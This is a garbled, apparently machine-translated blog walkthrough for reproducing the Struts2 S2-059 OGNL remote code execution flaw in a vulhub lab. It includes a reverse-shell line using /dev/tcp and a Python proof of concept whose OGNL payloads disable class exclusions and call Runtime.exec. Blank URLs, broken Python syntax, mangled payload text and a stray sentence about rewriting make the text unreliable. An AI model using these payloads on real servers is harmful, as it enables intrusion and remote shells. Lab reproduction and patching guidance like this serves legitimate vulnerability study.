Struts2 S2-059 What is the recurrence of remote code execution vulnerability?


0x00 Introduction Struts2 is a powerful Java Web open source framework launched by Apache software organization, which is essentially equivalent to a servlet. Struts2 is based on MVC architecture with clear frame structure. It is usually used as a Controller to establish data interaction between models and views, which is used to create enterprise-level Java web applications. It uses and extends Java Servlet API to encourage developers to adopt MVC architecture. Struts2 takes the excellent design idea of WebWork as the core, absorbs some advantages of Struts framework, and provides a cleaner Web application framework for MVC design pattern.

Overview of 0x01 vulnerability An attacker can construct a malicious OGNL expression and set it to the property value of Struts2 tag that can be modified by external input and will execute the OGNL expression, which will lead to OGNL expression parsing, and ultimately affect the remote code execution.

0x02 Scope of influence Struts 2.0.0–Struts 2.5.20

0x03 environment building 1. This vulnerability environment is quickly built using vulhub, and the download address of vulhub is as follows:

cd vulhub-master/struts2/s2-059

2. Use docker-compose to quickly build a shooting range environment.

docker-compose up -d

3. After startup, visit http://ip:8080/? Id=1, you can see the test interface.

0x04 vulnerability reappears 1. Visit http://ip:8080/? Id=%25{88*88}, it can be found that the executed 88*88 was successfully parsed, and the attribute value of Struts2 tag of OGNL expression will be executed, causing OGNL expression parsing.

2. Use poc to bounce the shell, and the payload of bouncing the shell needs to use base64 coding.

bash -i >& /dev/tcp/ 0>&1

Base64 coded website:

The original sentence is already a complete sentence that is providing a link. If I were to rewrite it,  it could be something like:Here is a link to a webpage containing information about runtime exec payloads:

import requestsurl = ""data1 = {"id": "%{(#context=#attr['struts.valueStack'].context).(#container=# context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(# ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"}data2 = {"id": "%{(#context=#attr['struts.valueStack'].context).(# Context.setmemberaccess (@ ognl.ognlcontext @ default _ member _ access)). (@ java.lang.runtime @ getruntime (). exec ('payload-base64 encoding'))} "} res1 =, data=data1)res2 =, data=data2)

3. Modify the payload in poc to its own payload, and then run it in python, and you can see that the shell bounces.

0x05 Repair suggestion 1. Upgrade to Struts 2.5.22 or later.

2. Open the ONGL expression to inject protection measures.

Copyright Description:No reproduction without permission。

Knowledge sharing community for developers。

Let more developers benefit from it。

Help developers share knowledge through the Internet。

Follow us